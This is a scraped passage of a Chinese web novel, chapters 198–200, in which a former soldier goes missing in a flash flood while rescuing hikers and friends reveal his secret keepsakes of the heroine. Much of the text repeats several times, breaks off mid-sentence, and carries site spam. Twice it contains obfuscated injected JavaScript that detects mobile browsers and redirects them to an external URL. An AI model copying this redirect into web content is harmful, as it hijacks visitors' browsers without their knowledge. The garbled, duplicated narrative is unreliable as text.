祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 一下,就差直接问他怎么哪壶不开提哪壶了。 丁予期对外名义上是宋凝的丈夫了不假,但是一码归一码,别人不知道,他们这些自家兄弟还不知道么? 他哪里有名分啊,在她那里恐怕也就是勉勉强强,刚成为能被考虑的异性吧。 老姚最近总是说错话,登时悔的肠子都青了,他连连抬手去拍自己的嘴,懊恼不已的表示:“丁儿,我说错话了,你千万别放在心上。” 丁予期脸色不住变幻,最后直接黑成了能刮下一层灰的锅底,他对老姚的话置若罔闻,只看了眼时间吩咐道:“训练时间到了,一个个的还站在这里凑什么热闹?” 其他看热闹的现役士兵都知道他最近代替陈**安排训练,一个个大气都不敢出,马上就该归队的归队,该去别处的去别处了。 萝卜连忙后退:“丁总明鉴,我早退伍了,而且我也没凑热闹啊。” 丁予期的目光又往旁边看去。 大拿抬了抬打石膏的手臂:“我有正当理由。” 老姚见他们两个都混过去了,笑嘻嘻的也说:“丁儿,咱俩谁跟谁啊,我就不用了吧?” “你来都来了,当然用得着,况且我看你最近特别活跃,也该多锻炼一下,消耗一下多余的旺盛精力了。”丁予期冷飕飕的眼风看了过去。 老姚对上他的目光,立刻意识到自己这次是无论如何也跑不脱了,叫苦不迭的同时只能跟着去。 丁予期许是心情格外郁闷,今天安排的训练任务都比以往更重了,让众人纷纷叫苦不迭。 祝如星看着眼前一大帮绕着操场负重跑的年轻小伙子,感慨道:“难怪训练项目都算涉密内容不能拍,这也太苦了点,要是拍下来发出去,不敢吃苦的人肯定都跑了。” 唐婷这几日总跟大拿待在一起恶补相关知识,对军营里的日常训练量多少也算有些了解,这时便不失担忧的问:“二十公里负重跑是不是太夸张了点?这得是特种部队才会有的强度吧。” 大拿若有所思的表示:“特种部队也不是天天都这么大强度大,二十公里都算得上是马拉松了,更何况他们还有负重,我看大概是丁儿心里苦吧。” 唐婷更纳罕了:“那他叫上老姚一起跑算怎么回事?” 这次大拿没说话,是不知道该怎么跟她解释,倒是萝卜清了清嗓子:“谁让他这个马屁拍到马蹄子上去了呢。” 他若有所思的看向跟滚滚玩的太过投入,所以压根不曾参与到他们的讨论中的宋凝身上去了。 除了当事人以外,其他人想必多多少少都看出来了,丁予期分明是在吃滚滚的醋。 只不过男子汉大丈夫,跟毛绒玩具大的小狗吃醋显然是太幼稚,所以丁予期固然郁闷的不得了,也只能是把邪火都发到老姚身上。 谁让这狗是老姚送的呢? 老姚退伍多年,又不像大拿一样坚持训练,体能和精力早都退化了,让他靠从前的底子跟着训练一会儿还行,但一上强度可就完蛋了。 偏偏丁予期那股邪火总也无处发散,他在接下来的几日里过的那叫一个遭殃。 别说是训练了,就连丁予期义务参加附近的志愿任务都得跟着一起去。 大拿和萝卜他们出于同情,也帮着出谋划策过一番。 奈何宋凝太喜欢滚滚,他们出的主意没一个有用的不说,还差点把自己也给搭进去了。 有一个算一个,都要步了老姚的后尘。 第一百九十八章 你不如骂我一顿 “依我看你不如赶紧想办法给滚滚再抱一个伴儿回来这样它不会天天对着小嫂子撒娇丁哥也就有空在小嫂子面前多表现一番而不是每天都要绞尽脑汁的想法子去折腾大家伙儿了。” 萝卜说完这句同情的拍了拍老姚的肩膀是个心有余而力不足的模样让老姚唉声叹气道:“你们这帮家伙就知道看热闹天天二十公里也就丁哥受得了我反正是不行!” 第二天一早头疼了小半宿的老姚终于想出了个解决问题的法子他跟丁予期难得的都没出现在训练场上。 祝如星跟唐婷早早来到这里准备观摩今天的训练项目见独独少了他们两个只好去跟照例来接唐婷去靶场参观的大拿询问情况。 大拿得知她们问的是这件事笑着表示:“他们外出拉练去了。” 唐婷疑问道:“就他们两个么?” “当然不是。”大拿个性本就成熟稳重但跟她说话时总会显得格外温厚耐心“他们两个是带着新兵拉练去了同行的还有几个年轻领队据说是老姚主动申请要去的。” 祝如星登时恍然大悟跟着也笑了:“拉练多少公里?好像也不会太短吧为了逃避二十公里的负重跑就去拉练这未免也太拼了。” 大拿于是又补充了一些细节:“理论上来讲拉练很可能不只二十公里但因为目的地是在附近山里路况复杂天气多变 这两个任务听起来没有一个轻松的完全是两害相权取其轻让祝如星听完过后主动放弃当大拿和唐婷的电灯泡而是扭头往宋凝所在的宿舍方向去了。 宋凝听到敲门声时以为是丁予期回来了开门见是祝如星不失惊喜的问:“你怎么来了?” “我再不来看看你就要为了滚滚把我们都忘了。”祝如星说着伸手摸了摸她怀里的滚滚的小脑袋不失无奈的问“你从前在外面的时候可不宅怎么来军营参观反而变得宅起来了?” 宋凝刚来这边的那几天还很有到处闲逛的兴致可自从有了滚滚她就一门心思的在宿舍里跟它玩了就连手机相册里也全都是它的照片这时便展示道:“你看它都可爱啊!” 祝如星承认滚滚可爱但她也没忘了自己来一趟的使命严肃的问:“你想想看今天是不是忘了一件事?” 宋凝一时间压根没想起她有在考虑任何事等滚滚稳稳当当的站好了才恍然大悟的一拍脑门表示:“我想起来了滚滚今天 你的朋友正在书荒,快去帮帮他吧 还没有喝羊奶,我查过了,幼犬需要多吃奶制品来补充营养。” “我的老天啊!”祝如星侧身指了指另一张床,“我问的是丁予期,你难道就不好奇他去哪儿了么?我以为你们已经在发展感情了。” 若非如此,她也不会这么支持宋凝跟丁予期在一起。 宋凝面上的笑容缓缓消失,取而代之的是疑惑:“不是训练去了么?他外公给他安排了不少任务,最近许多训练任务都由他负责。” 祝如星见她完全被滚滚夺走了注意力,无可奈何的叹了口气:“他进山拉练去了。” 宋凝愕然了一瞬,但还是没太放在心上,只微微有些疑问的表示:“他离开前并没有告诉我,想来没什么特别之处,等晚上回来就知道了。” 说这话时,她尚且不知道今晚会发生怎样的变故,只从心底涌起一阵莫名的不安。 直到傍晚时分,这点异样的预感总算伴随着匆忙赶来的于副官的话音变成了现实:“宋小姐,陈**请你尽快过去一趟。” 于副官跟在陈老先生身边许多年,向来很稳得住,能让他慌成这样必然是出了大事。 宋凝不敢耽搁,连忙用最快的速度赶了过去,结果却在陈老先生的办公室里遇到了浑身湿透的老姚,他一见到她就愁眉苦脸道:“小嫂子,不好了,丁儿出事了!” 咣当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278114|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 宋凝身形一晃,撞的侧边的桌子和搁在上面的杯子一起跟着晃了起来,等她察觉到自己的失态,这才重新稳住身体道:“你别着急,先慢慢说,他……他能有什么事?” 不知具体是从什么时候开始,丁予期在她心目中已然成了无所不能的代名词,无论他去做什么事,她都会觉得他一定能成功,而从未想过还有另一种可能。 直到此时此刻,老姚一边抹去脸上的雨水和脏污,一边断断续续说明了事情的经过。 “拉练结束后,我们本来是准备直接下山的,结果在山谷那一片赶上暴雨,还遇到了几个因为暴雨迷路的驴友,他们一见到我们就跟看到救星似的,说自己有同伴被困在山里出不来了。” “我和丁予期想着不能辜负群众对子弟兵的信任,于是就分工合作,让其他人跟班长先回来,我跟他去帮忙找人,谁成想暴雨后有泥石流,山路都被冲垮了……” 接下来发生的事情并不复杂,虽然过程曲折,但却只是老姚跟丁予期失散,然后寻找未果,不得不趁着天色彻底黑透,失去方向感之前回来求援罢了。 宋凝见老姚慌的抖个不停,浅浅呼吸一口安慰道:“你先别着急,丁予期从前跟我讲过,他参加户外活动的经验很丰富,说不定已经在回来的路上了,你先休息一下,别把自己给累垮了。” 老姚深呼吸一口,哭丧着脸说:“小嫂子,你快别安慰我了,你不如骂我一顿吧!” “我骂你一顿有什么用?下暴雨是天灾,谁都不想的,况且你为了救他,不是也回来求援了么?这里有这么多人在,总会有办法的。”宋凝这时尚不知道他把事情往自己身上揽的原因。 “可是我——” 老姚吸了口气,刚想把方才没说清楚的事讲完,先听到办公室的门响了一声,然后便听到匆匆赶来的陈老爷子说,“急什么,我已经派人去找了。” 第一百九十九章 助攻也得见好就收 陈老爷子的出现,就像是一根定海神针。 虽然只是派人去找,也已经让众人觉得心安了不少。 陈老爷子看了一眼宋凝,见她神情还算镇定,但眉宇间还是微微透着些担忧地神色,心里却是透着点喜悦的。 自己这个外孙心里想的什么,他这个当外公的怎么可能不知道? 这小子从小都是跟在他身边长大的,肚子里有几根花花肠子没有人比他更了解。 但失踪毕竟是事实,他此时也算是喜忧参半。 多年行伍生涯让他比一般人的承受能力要高出许多,他也深知,现在着急也没有用,还是得等派出去找人的下属们回来才能知道更新的消息。 “小姚。” 老姚立刻一个军礼:“领导。” “我记得予期原来放在这个柜子上的东西怎么不见了?” 老姚还是一脸焦急,但领导问话他也不能不回答,有些心不在焉,但还是认真思索了一下:“应该是被丁儿收起来了吧。” “那么好看收起来干什么?找出来,重新摆上。” 老姚沉吟了一下,点了点头,然后开始翻箱倒柜的找东西。 显然,他对丁予期的房间不是一般的熟悉,很快就从一个抽屉里面找到了陈老爷子说的“好看的东西”。 老姚找东西声响不小,所有人几乎都在看着他忙活。 直到老姚把抽屉里的东西一样一样的重新摆出来。 三个相框,大小不一,有横有竖。 一对陶土娃娃,胖乎乎的,只有巴掌大,但是很精致,而且一个穿西装一个穿婚纱。 还有一个毛绒玩具,星黛露。 宋凝一眼就认出来了,那一对陶土娃娃,是她和傅东擎结婚的时候,摆在蛋糕上面的。 那个星黛露她就更熟悉了,还是她上大学的时候挂在书包上的挂件,但是不知道什么时候掉了,她发现的时候已经不见了。 后来也想去原路去找,但保洁阿姨说垃圾桶都已经清理了,估计是找不回来了。 她也只能接受了这个结果。 很快,她就被学业和傅东擎占据了所有的时间和精力,没有继续放在心上了。 只是没想到,这个小毛绒玩具居然在丁予期手里。 而且还是在他在部队的宿舍里? “这个……” 老姚见宋凝认出来了,立刻解释道:“小嫂子你别误会,这个东西真不是丁儿去偷的,是你掉在了图书馆里,后来被保洁大姐扫进了 垃圾桶,丁儿捡回来的。” 自己兄弟是个什么德行,老姚也是心知肚明。 从前宋凝心里眼里只有傅东擎,压根看不到他,他爱的卑微,只能寻找一些这些边边角角的东西珍藏,把自己的心思藏起来。 后来这家伙逐渐变态,的确是做了一些有点阴暗爬行的事情。 而且这些事情,身为兄弟的老姚也没少帮忙。 老姚有些心虚的摸了摸自己的鼻子,“丁儿那时候苦,只有这两个东西了,一个是从垃圾桶里捡回来的,另一个是从婚礼上顺回来的。” 宋凝的目光落在了旁边的那三个相框上。 她原以为,无非还是自己各个时期的照片,之前在卫斯理酒店套房里她也不是没见过。 可看了一眼之后才发现,竟然是合照? 而且是她和丁予期的合照。 在她的记忆中,她跟丁予期从来就没有熟悉过,到最后还一直互怼,根本就没有拍过合照。 “……这些都是丁儿从大合照里剪下来的。” “大合照?” “就是那时候傅……就是你前夫带你去参加兄弟聚会的时候,会一起拍一些合照嘛,他就单独把你和他的影像剪下来,贴在一起了。” “咳咳!”陈老爷子的胡子抖了抖:“这臭小子弄的还挺好,我一开始都没看出来是剪下来重新拼在一起的的。” 宋凝对这些照片印象不深。 但丁予期会弄这样的东西,既是意料之外,也算是情理之中。 老姚声音嗫喏着:“小嫂子,丁儿对你确实是真心的。” 陈老爷子见宋凝一直在看那几张照片,也知道点到为止的道理。 助攻也得讲究火候,火太大了反而容易起反效果。 他果断见好就收,换了个话题说道:“小凝,你也不必太担心,我派出去的都是熟悉附近地形的,应该很快就会有消息的。” 宋凝在得知解决方案之前,还能遵从理智让自己保持冷静,等听到这话却是忽然松了口气,任凭思绪往悲观的方向一路跌下去。 一直以来,她都把丁予期当成了无所不能的存在,仿佛他是什么刀枪不入的超人,但老姚的话提醒了她,他也不过是肉体凡胎,想跟大自然的力量抗衡还是太难了。 这天晚上,宋凝婉拒了陈老先生劝她回去休息的提议:“我不累,等丁予期回来再睡也不迟,反正去找他的人应该用不了多久就能回来了。” 她有一搭没一搭的抚摸着怀里的滚滚,但心思显然不在它身上了。 唐婷和祝如星得知丁予期失联,也连忙跟大拿和萝卜一起赶了过来,几个人一起把原本还算宽敞的办公室给坐满了。 这一夜过的格外漫长。 当宋凝身心都因为熬夜疲惫到了极点,开始不受控制的想要合上眼皮时,楼下终于传来一阵喧嚣,是带队去找人的班长回来了。 宋凝瞬间困意全无,第一个跑出去问起了情况,她见一行人都神情沮丧,心底咯噔先响了一声,然后拦住最熟悉的人问:“丁予期呢?” 这一刻她无比希望他只是又起了开玩笑的心思,所以故意躲起来吓唬她。 可班长却是神情颓丧的说起了刚刚了解到的情况。 “丁哥失踪了,我们在山里找到了最后一个失联的驴友,他告诉我们,他原本是在丁哥的带领下找到了路的,可下山时不幸遇到河流涨水,丁哥为救他跳进了急流里,当时就被冲走了……” 他的话音越来越低,是自己都不敢继续说下去了。旁人或许不清楚,但像他们这样常年从事救援工作的人却是再了解不过,被山洪冲走的人往往是凶多吉少。 宋凝瞬间怔在了当场,别说回应他了,就连最基本的反应都忘了,整个人像被定住似的。 垃圾桶,丁儿捡回来的。” 自己兄弟是个什么德行,老姚也是心知肚明。 从前宋凝心里眼里只有傅东擎,压根看不到他,他爱的卑微,只能寻找一些这些边边角角的东西珍藏,把自己的心思藏起来。 后来这家伙逐渐变态,的确是做了一些有点阴暗爬行的事情。 而且这些事情,身为兄弟的老姚也没少帮忙。 老姚有些心虚的摸了摸自己的鼻子,“丁儿那时候苦,只有这两个东西了,一个是从垃圾桶里捡回来的,另一个是从婚礼上顺回来的。” 宋凝的目光落在了旁边的那三个相框上。 她原以为,无非还是自己各个时期的照片,之前在卫斯理酒店套房里她也不是没见过。 可看了一眼之后才发现,竟然是合照? 而且是她和丁予期的合照。 在她的记忆中,她跟丁予期从来就没有熟悉过,到最后还一直互怼,根本就没有拍过合照。 “……这些都是丁儿从大合照里剪下来的。” “大合照?” “就是那时候傅……就是你前夫带你去参加兄弟聚会的时候,会一起拍一些合照嘛,他就单独把你和他的影像剪下来,贴在一起了。” “咳咳!”陈老爷子的胡子抖了抖:“这臭小子弄的还挺好,我一开始都没看出来是剪下来重新拼在一起的的。” 宋凝对这些照片印象不深。 但丁予期会弄这样的东西,既是意料之外,也算是情理之中。 老姚声音嗫喏着:“小嫂子,丁儿对你确实是真心的。” 陈老爷子见宋凝一直在看那几张照片,也知道点到为止的道理。 助攻也得讲究火候,火太大了反而容易起反效果。 他果断见好就收,换了个话题说道:“小凝,你也不必太担心,我派出去的都是熟悉附近地形的,应该很快就会有消息的。” 宋凝在得知解决方案之前,还能遵从理智让自己保持冷静,等听到这话却是忽然松了口气,任凭思绪往悲观的方向一路跌下去。 一直以来,她都把丁予期当成了无所不能的存在,仿佛他是什么刀枪不入的超人,但老姚的话提醒了她,他也不过是肉体凡胎,想跟大自然的力量抗衡还是太难了。 这天晚上,宋凝婉拒了陈老先生劝她回去休息的提议:“我不累,等丁予期回来再睡也不迟,反正去找他的人应该用不了多久就能回来了。” 她有一搭没一搭的抚摸着怀里的滚滚,但心思显然不在它身上了。 唐婷和祝如星得知丁予期失联,也连忙跟大拿和萝卜一起赶了过来,几个人一起把原本还算宽敞的办公室给坐满了。 这一夜过的格外漫长。 当宋凝身心都因为熬夜疲惫到了极点,开始不受控制的想要合上眼皮时,楼下终于传来一阵喧嚣,是带队去找人的班长回来了。 宋凝瞬间困意全无,第一个跑出去问起了情况,她见一行人都神情沮丧,心底咯噔先响了一声,然后拦住最熟悉的人问:“丁予期呢?” 这一刻她无比希望他只是又起了开玩笑的心思,所以故意躲起来吓唬她。 可班长却是神情颓丧的说起了刚刚了解到的情况。 “丁哥失踪了,我们在山里找到了最后一个失联的驴友,他告诉我们,他原本是在丁哥的带领下找到了路的,可下山时不幸遇到河流涨水,丁哥为救他跳进了急流里,当时就被冲走了……” 他的话音越来越低,是自己都不敢继续说下去了。旁人或许不清楚,但像他们这样常年从事救援工作的人却是再了解不过,被山洪冲走的人往往是凶多吉少。 宋凝瞬间怔在了当场,别说回应他了,就连最基本的反应都忘了,整个人像被定住似的。 垃圾桶,丁儿捡回来的。” 自己兄弟是个什么德行,老姚也是心知肚明。 从前宋凝心里眼里只有傅东擎,压根看不到他,他爱的卑微,只能寻找一些这些边边角角的东西珍藏,把自己的心思藏起来。 后来这家伙逐渐变态,的确是做了一些有点阴暗爬行的事情。 而且这些事情,身为兄弟的老姚也没少帮忙。 老姚有些心虚的摸了摸自己的鼻子,“丁儿那时候苦,只有这两个东西了,一个是从垃圾桶里捡回来的,另一个是从婚礼上顺回来的。” 宋凝的目光落在了旁边的那三个相框上。 她原以为,无非还是自己各个时期的照片,之前在卫斯理酒店套房里她也不是没见过。 可看了一眼之后才发现,竟然是合照? 而且是她和丁予期的合照。 在她的记忆中,她跟丁予期从来就没有熟悉过,到最后还一直互怼,根本就没有拍过合照。 “……这些都是丁儿从大合照里剪下来的。” “大合照?” “就是那时候傅……就是你前夫带你去参加兄弟聚会的时候,会一起拍一些合照嘛,他就单独把你和他的影像剪下来,贴在一起了。” “咳咳!”陈老爷子的胡子抖了抖:“这臭小子弄的还挺好,我一开始都没看出来是剪下来重新拼在一起的的。” 宋凝对这些照片印象不深。 但丁予期会弄这样的东西,既是意料之外,也算是情理之中。 老姚声音嗫喏着:“小嫂子,丁儿对你确实是真心的。” 陈老爷子见宋凝一直在看那几张照片,也知道点到为止的道理。 助攻也得讲究火候,火太大了反而容易起反效果。 他果断见好就收,换了个话题说道:“小凝,你也不必太担心,我派出去的都是熟悉附近地形的,应该很快就会有消息的。” 宋凝在得知解决方案之前,还能遵从理智让自己保持冷静,等听到这话却是忽然松了口气,任凭思绪往悲观的方向一路跌下去。 一直以来,她都把丁予期当成了无所不能的存在,仿佛他是什么刀枪不入的超人,但老姚的话提醒了她,他也不过是肉体凡胎,想跟大自然的力量抗衡还是太难了。 这天晚上,宋凝婉拒了陈老先生劝她回去休息的提议:“我不累,等丁予期回来再睡也不迟,反正去找他的人应该用不了多久就能回来了。” 她有一搭没一搭的抚摸着怀里的滚滚,但心思显然不在它身上了。 唐婷和祝如星得知丁予期失联,也连忙跟大拿和萝卜一起赶了过来,几个人一起把原本还算宽敞的办公室给坐满了。 这一夜过的格外漫长。 当宋凝身心都因为熬夜疲惫到了极点,开始不受控制的想要合上眼皮时,楼下终于传来一阵喧嚣,是带队去找人的班长回来了。 宋凝瞬间困意全无,第一个跑出去问起了情况,她见一行人都神情沮丧,心底咯噔先响了一声,然后拦住最熟悉的人问:“丁予期呢?” 这一刻她无比希望他只是又起了开玩笑的心思,所以故意躲起来吓唬她。 可班长却是神情颓丧的说起了刚刚了解到的情况。 “丁哥失踪了,我们在山里找到了最后一个失联的驴友,他告诉我们,他原本是在丁哥的带领下找到了路的,可下山时不幸遇到河流涨水,丁哥为救他跳进了急流里,当时就被冲走了……” 他的话音越来越低,是自己都不敢继续说下去了。旁人或许不清楚,但像他们这样常年从事救援工作的人却是再了解不过,被山洪冲走的人往往是凶多吉少。 宋凝瞬间怔在了当场,别说回应他了,就连最基本的反应都忘了,整个人像被定住似的。 垃圾桶,丁儿捡回来的。” 自己兄弟是个什么德行,老姚也是心知肚明。 从前宋凝心里眼里只有傅东擎,压根看不到他,他爱的卑微,只能寻找一些这些边边角角的东西珍藏,把自己的心思藏起来。 后来这家伙逐渐变态,的确是做了一些有点阴暗爬行的事情。 而且这些事情,身为兄弟的老姚也没少帮忙。 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助攻也得讲究火候,火太大了反而容易起反效果。 他果断见好就收,换了个话题说道:“小凝,你也不必太担心,我派出去的都是熟悉附近地形的,应该很快就会有消息的。” 宋凝在得知解决方案之前,还能遵从理智让自己保持冷静,等听到这话却是忽然松了口气,任凭思绪往悲观的方向一路跌下去。 一直以来,她都把丁予期当成了无所不能的存在,仿佛他是什么刀枪不入的超人,但老姚的话提醒了她,他也不过是肉体凡胎,想跟大自然的力量抗衡还是太难了。 这天晚上,宋凝婉拒了陈老先生劝她回去休息的提议:“我不累,等丁予期回来再睡也不迟,反正去找他的人应该用不了多久就能回来了。” 她有一搭没一搭的抚摸着怀里的滚滚,但心思显然不在它身上了。 唐婷和祝如星得知丁予期失联,也连忙跟大拿和萝卜一起赶了过来,几个人一起把原本还算宽敞的办公室给坐满了。 这一夜过的格外漫长。 当宋凝身心都因为熬夜疲惫到了极点,开始不受控制的想要合上眼皮时,楼下终于传来一阵喧嚣,是带队去找人的班长回来了。 宋凝瞬间困意全无,第一个跑出去问起了情况,她见一行人都神情沮丧,心底咯噔先响了一声,然后拦住最熟悉的人问:“丁予期呢?” 这一刻她无比希望他只是又起了开玩笑的心思,所以故意躲起来吓唬她。 可班长却是神情颓丧的说起了刚刚了解到的情况。 “丁哥失踪了,我们在山里找到了最后一个失联的驴友,他告诉我们,他原本是在丁哥的带领下找到了路的,可下山时不幸遇到河流涨水,丁哥为救他跳进了急流里,当时就被冲走了……” 他的话音越来越低,是自己都不敢继续说下去了。旁人或许不清楚,但像他们这样常年从事救援工作的人却是再了解不过,被山洪冲走的人往往是凶多吉少。 宋凝瞬间怔在了当场,别说回应他了,就连最基本的反应都忘了,整个人像被定住似的。 垃圾桶,丁儿捡回来的。” 自己兄弟是个什么德行,老姚也是心知肚明。 从前宋凝心里眼里只有傅东擎,压根看不到他,他爱的卑微,只能寻找一些这些边边角角的东西珍藏,把自己的心思藏起来。 后来这家伙逐渐变态,的确是做了一些有点阴暗爬行的事情。 而且这些事情,身为兄弟的老姚也没少帮忙。 老姚有些心虚的摸了摸自己的鼻子,“丁儿那时候苦,只有这两个东西了,一个是从垃圾桶里捡回来的,另一个是从婚礼上顺回来的。” 宋凝的目光落在了旁边的那三个相框上。 她原以为,无非还是自己各个时期的照片,之前在卫斯理酒店套房里她也不是没见过。 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宋凝瞬间怔在了当场,别说回应他了,就连最基本的反应都忘了,整个人像被定住似的。 第二百章 他就是嘴硬心软 祝如星连忙伸手扶住她:“你先别急,这不是还没结果么?他水性那么好,一定……呃,一定吉人自有天相! 在婚庆工作中练出来的好口才在这一刻彻底失去了用武之地。 唐婷性子急,更是顾不上管这许多,直接抓住大拿那只完好的手臂,带着哭腔问:“怎么办?他会不会—— 话音戛然而止,是她也不敢再说下去了。 唐婷不信任丁予期,一直认为他还在考察期,但一码归一码,宋凝的反应这么大,足以证明他对她来说很重要,单凭这一点就够她担心他的安危,希望他能平安归来了。 大拿跟丁予期是过命的兄弟,对他的担忧自然不比她少,但他没有反过来说这些,而是用只有他们两个能听到的成熟理智的声线安抚道:“现在不是着急的时候,你慌了,小嫂子会更慌。 “那我该怎么办?唐婷是真的不知道该怎么办了,她怕自己的情绪感染到已经够焦灼的的宋凝,索性把大拿当成了主心骨。 大拿果然也没有辜负她的希望,认真道:“你现在什么都不用做,只陪着小嫂子就够了。 唐婷遇到这么大的事,原本就是做什么事的心思都没了,这时便连连点头,跟祝如星一左一右的陪宋凝回到陈老先生的办公室里等起了消息。 于副官已经另外安排了人搜救去了,无论结果是好是坏,都用不了多久就能揭晓了。 老姚最先承受不住压力的找到了宋凝:“小嫂子,对不起,其实拉练的主意是我提出来的,去救人也是因为我多管闲事,我们本来可以等更专业的救援队,但我非要赶在暴雨前去逞能…… 他悔的肠子都青了,一边跟宋凝赔罪,一边不住的回忆当时的事情经过,并且毫无形象的当真急哭了。 萝卜试着劝了两句,可转念意识到这事确实跟老姚有点关系,最终只叹了口气。 倒是宋凝缓过来之后,态度如常的温言开解道:“这事真的不能怪你,我虽然没当过兵,但在军营里待了这些时日,也已经明白保护人民是军人的天职,他退役后从来没有忘记过这一点。 老姚其实更情愿她歇斯底里的骂自己一顿,这时便带着满心的负罪感颤声道:“小嫂子,你不知道,丁哥他有个心愿一直没完成,本来打算这次回来后就…… 接下来的话低到了不可闻的地步。 宋凝隐约猜到了他想说什么,但偏偏是在这个节骨眼上,唯有猜到了也装作没猜到,免得事情发展到了最糟糕的地步时会给各方留下遗憾 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 恰在此时,陈老先生似有所感的派人把她叫了过去,在小小的会客室里对她说:“坐吧,我听予期说过,你会下围棋,不知道愿不愿意跟我这个老头子来一盘?” 他们面前的棋盘和棋子已经都准备好了。 宋凝谦虚道:“下的不好,不过您要是不嫌弃的话,我倒是可以试一试。” 陈老爷子神情和蔼的示意她坐下:“我下的不好,年纪又大了,你们年轻人别觉得跟我下棋没意思就行。” 两人都心知肚明,下棋只是个幌子,他们之所以会坐在这里,为的其实是打发时间,否则再像刚刚一样满心焦灼的等下去的话,不等消息真的传回来,恐怕他们人就先撑不住了。 宋凝有段时间没碰过围棋了,本以为自己棋艺生疏,必然会**个片甲不留,可等实际开始操作才发现,陈老爷子的心态并不像看起来一样稳。 这一局棋下的格外漫长。 宋凝其实压根没心思下棋,取子和落子的速度比初学时还要来得更慢,直到指尖一滑,将棋子给落到棋盘外面去了。 当啷。 有些一直被藏在平静假象底下的心思再也藏不住了。 宋凝深呼吸一口,目光飘忽的将棋子捡回到棋盘里说:“抱歉,陈老先生,我太久没碰过棋子,棋艺实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 